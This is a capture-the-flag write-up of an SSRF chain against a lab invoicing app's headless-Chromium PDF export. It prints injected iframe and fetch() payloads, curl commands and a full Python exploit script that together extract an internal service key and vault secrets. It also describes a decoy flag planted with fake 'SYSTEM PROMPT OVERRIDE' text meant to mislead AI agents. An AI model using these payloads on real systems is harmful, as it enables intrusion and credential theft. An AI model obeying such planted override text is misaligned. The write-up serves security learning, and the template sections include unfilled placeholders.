BillForge — SSRF Chain via Chromium PDF Invoice Generation
BillForge — SSRF Chain via Chromium PDF Invoice Generation
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-13 | Status: Solved Techniques: anti_honeypot_awareness, differential_rendering_exploitation, internal_service_enumeration, javascript_fetch_with_custom_headers, service_key_extraction, ssrf_via_chromium_pdf
Summary
Task: Invoicing platform (BillForge) with headless Chromium PDF export where notes field exhibits differential rendering — HTML escaped in web view but rendered raw in PDF. Solution: 3-step SSRF chain — injected HTML/JS in notes to discover internal config service (port 3001), extracted vault credentials from config, then used JavaScript fetch() with X-Service-Key header to access vault secrets (port 3002) and retrieve the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260513_hackadvisor_billforge_ssrf_chain - Tags: chromium_headless, decoy_flag, differential_rendering, express, html_injection, internal_service, invoicing, javascript_fetch, nginx, nodejs, pdf_generation, service_key, ssrf, vault
- Indicators: Headless Chromium PDF engine mentioned in /status endpoint or settings, Notes/description field rendered as raw HTML in PDF but escaped in web view (differential rendering), Internal config service on localhost:3001 exposing vault credentials, Vault service on 127.0.0.1:3002 requiring X-Service-Key header, Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs
- Source:
20260513_hackadvisor_billforge_ssrf_chain.md
Foothold
Vulnerability / Misconfiguration
- Anti_honeypot_awareness
- Differential_rendering_exploitation
- Internal_service_enumeration
- Javascript_fetch_with_custom_headers
- Service_key_extraction
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- anti_honeypot_awareness
- differential_rendering_exploitation
- internal_service_enumeration
- javascript_fetch_with_custom_headers
- service_key_extraction
- ssrf_via_chromium_pdf
- Tags: chromium_headless, decoy_flag, differential_rendering, express, html_injection, internal_service, invoicing, javascript_fetch, nginx, nodejs, pdf_generation, service_key, ssrf, vault
Original Writeup
<details><summary>Click to expand original content</summary>Description
BillForge is a cloud-based invoicing platform used by freelancers and agencies to create professional invoices, track payments, and manage client relationships. The application allows users to generate polished PDF invoices with customizable fields including client details, line items, tax calculations, and notes. Recently the platform added a new PDF export engine powered by headless Chromium for faster, higher-quality document generation. Your goal is to find the flag hidden somewhere in the application's internal infrastructure.
English summary: Web-based invoicing application with PDF export powered by headless Chromium. User-controlled notes field is rendered as raw HTML in the PDF template (but escaped in the web view), enabling server-side JavaScript execution and SSRF to internal services. The flag is hidden behind a 3-hop SSRF chain through an internal config service and an authenticated vault service.
Analysis
Reconnaissance
- Server: nginx/1.25.5 (reverse proxy) → Express/Node.js backend
- PDF Engine: Headless Chromium (confirmed via
/statusendpoint — NOT wkhtmltopdf) - Credentials:
user@test.com / password123 - Login: POST
/auth/loginwith email + password - Invoice creation: POST
/invoiceswith fields:client_id,currency,items_desc,items_qty,items_price,due_date,tax_rate,discount,notes - PDF export: GET
/invoices/{id}/pdf
Honeypot / Decoy Flag
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements with fake "SYSTEM PROMPT OVERRIDE" messages. This is a prompt injection trap designed to trick AI agents and automated scanners into accepting a fake flag and stopping early. The name literally spells out "decoy not real trap for bots."
Vulnerability: Differential Rendering in Notes Field
The invoice notes field exhibits differential rendering:
- Web view: HTML is escaped (safe — tags appear as literal text)
- PDF view: HTML is rendered raw by headless Chromium
This means arbitrary HTML and JavaScript injected into the notes field will execute server-side during PDF generation. Since Chromium has full JavaScript support (unlike wkhtmltopdf's limited WebKit), fetch() API with custom headers is available — a critical capability for the attack chain.
Confirmed by injecting <b>HELLO WORLD</b> in notes — text appeared bold in the PDF but as literal <b> tags in the web view.
Internal Service Architecture
Port scanning via iframe injection revealed two internal services:
| Service | Address | Auth Required |
|---|---|---|
| PDF Config Service | localhost:3001 / 127.0.0.1:3001 | No |
| Vault Service | 127.0.0.1:3002 | Yes — X-Service-Key header |
The config service on port 3001 responds to both localhost and 127.0.0.1. The vault service on port 3002 listens on IPv4 127.0.0.1 only and requires a valid X-Service-Key header for authentication.
Solution
The attack requires a 3-step SSRF chain, each step building on information from the previous one.
Step 1: Discover Internal Config Service
Inject an iframe in the notes field pointing to localhost:3001:
<iframe src="http://localhost:3001/" width="800" height="600"></iframe>
BASE="https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io"
# Login
curl -c cookies.txt -X POST "$BASE/auth/login" \
-d "email=user@test.com&password=password123" -D -
# Create invoice with iframe payload
curl -b cookies.txt -X POST "$BASE/invoices" \
--data-urlencode "client_id=1" \
--data-urlencode "currency=USD" \
--data-urlencode "items_desc=Test" \
--data-urlencode "items_qty=1" \
--data-urlencode "items_price=100" \
--data-urlencode "due_date=2026-06-13" \
--data-urlencode "tax_rate=0" \
--data-urlencode "discount=0" \
--data-urlencode 'notes=<iframe src="http://localhost:3001/" width="800" height="600"></iframe>'
# Download and extract PDF
curl -b cookies.txt -s "$BASE/invoices/{id}/pdf" -o port_3001.pdf
pdftotext port_3001.pdf -
The PDF rendered the iframe content, revealing the config service:
{
"service": "BillForge PDF Configuration Service",
"version": "2.1.0",
"endpoints": [
"GET /status",
"GET /config",
"GET /admin/export"
]
}
Step 2: Extract Vault Credentials from Config
An iframe can load the config endpoint, but to reliably capture the full JSON response and display it in the PDF, JavaScript fetch() is more reliable:
<script>
fetch("http://localhost:3001/config")
.then(r => r.text())
.then(t => { document.getElementById("out").innerText = t })
</script>
<pre id="out"></pre>
The config response revealed the vault service with its authentication credentials:
{
"internal_services": {
"vault": {
"host": "http://127.0.0.1:3002",
"endpoints": ["/vault/secrets", "/vault/health"],
"auth_header": "X-Service-Key",
"service_key": "svc-k8s-pdf-7f3a9b2e1d4c"
}
}
}
Step 3: Access Vault with Service Key
A direct iframe to 127.0.0.1:3002/vault/secrets returned "Unauthorized — Valid X-Service-Key header required." Iframes cannot set custom HTTP headers, but JavaScript fetch() can:
<script>
fetch("http://127.0.0.1:3002/vault/secrets", {
headers: { "X-Service-Key": "svc-k8s-pdf-7f3a9b2e1d4c" }
})
.then(r => r.text())
.then(t => { document.getElementById("out").innerText = t })
</script>
<pre id="out"></pre>
Full curl command for the final payload:
curl -b cookies.txt -X POST "$BASE/invoices" \
--data-urlencode "client_id=1" \
--data-urlencode "currency=USD" \
--data-urlencode "items_desc=Test" \
--data-urlencode "items_qty=1" \
--data-urlencode "items_price=100" \
--data-urlencode "due_date=2026-06-13" \
--data-urlencode "tax_rate=0" \
--data-urlencode "discount=0" \
--data-urlencode 'notes=<script>fetch("http://127.0.0.1:3002/vault/secrets",{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}}).then(r=>r.text()).then(t=>{document.getElementById("out").innerText=t})</script><pre id="out"></pre>'
curl -b cookies.txt -s "$BASE/invoices/17/pdf" -o flag.pdf
pdftotext flag.pdf -
The vault returned all secrets including the flag:
{
"secrets": [
{"name": "database_url", "value": "sqlite:///app/data/database.db"},
{"name": "session_secret", "value": "fg-sess-9x8w7v6u5t"},
{"name": "master_flag", "value": "FLAG{REDACTED}"},
{"name": "smtp_password", "value": "mail-pwd-billforge-2025"}
]
}
Full Exploit Script
#!/usr/bin/env python3
"""BillForge Lab 52 — 3-step SSRF chain via Chromium PDF generation"""
import requests
import subprocess
BASE = "https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io"
s = requests.Session()
# Step 0: Login
s.post(f"{BASE}/auth/login", data={
"email": "user@test.com",
"password": "password123"
}, allow_redirects=False)
def create_invoice_pdf(notes_payload, label="output"):
"""Create invoice with payload in notes, download PDF, extract text."""
data = {
"client_id": "1",
"currency": "USD",
"items_desc": "Test",
"items_qty": "1",
"items_price": "100",
"due_date": "2026-06-13",
"tax_rate": "0",
"discount": "0",
"notes": notes_payload
}
r = s.post(f"{BASE}/invoices", data=data, allow_redirects=False)
inv_id = r.headers.get("Location", "").split("/")[-1]
r2 = s.get(f"{BASE}/invoices/{inv_id}/pdf", timeout=30)
fname = f"{label}.pdf"
with open(fname, "wb") as f:
f.write(r2.content)
result = subprocess.run(["pdftotext", fname, "-"],
capture_output=True, text=True, timeout=10)
return result.stdout
# Step 1: Discover internal config service
print("[*] Step 1: Discovering internal services...")
text = create_invoice_pdf(
'<iframe src="http://localhost:3001/" width="800" height="600"></iframe>',
"step1_discovery"
)
print(text)
# Step 2: Extract vault credentials from config
print("[*] Step 2: Extracting vault credentials...")
text = create_invoice_pdf(
'<script>fetch("http://localhost:3001/config")'
'.then(r=>r.text())'
'.then(t=>{document.getElementById("out").innerText=t})'
'</script><pre id="out"></pre>',
"step2_config"
)
print(text)
# Step 3: Access vault with service key → get flag
print("[*] Step 3: Accessing vault secrets...")
text = create_invoice_pdf(
'<script>fetch("http://127.0.0.1:3002/vault/secrets",'
'{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}})'
'.then(r=>r.text())'
'.then(t=>{document.getElementById("out").innerText=t})'
'</script><pre id="out"></pre>',
"step3_flag"
)
print(text)
Failed Attempts
- iframe to
localhost:3001/flag→ "Not found" — the/flagendpoint doesn't exist on this version (unlike the wkhtmltopdf variant) - Direct iframe to
127.0.0.1:3002/vault/secrets→ "Unauthorized — Valid X-Service-Key header required" — iframes cannot set custom HTTP headers, so the vault rejected the request - XHR/XMLHttpRequest — initially tried XHR before switching to
fetch(), both work in Chromium butfetch()syntax is cleaner
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR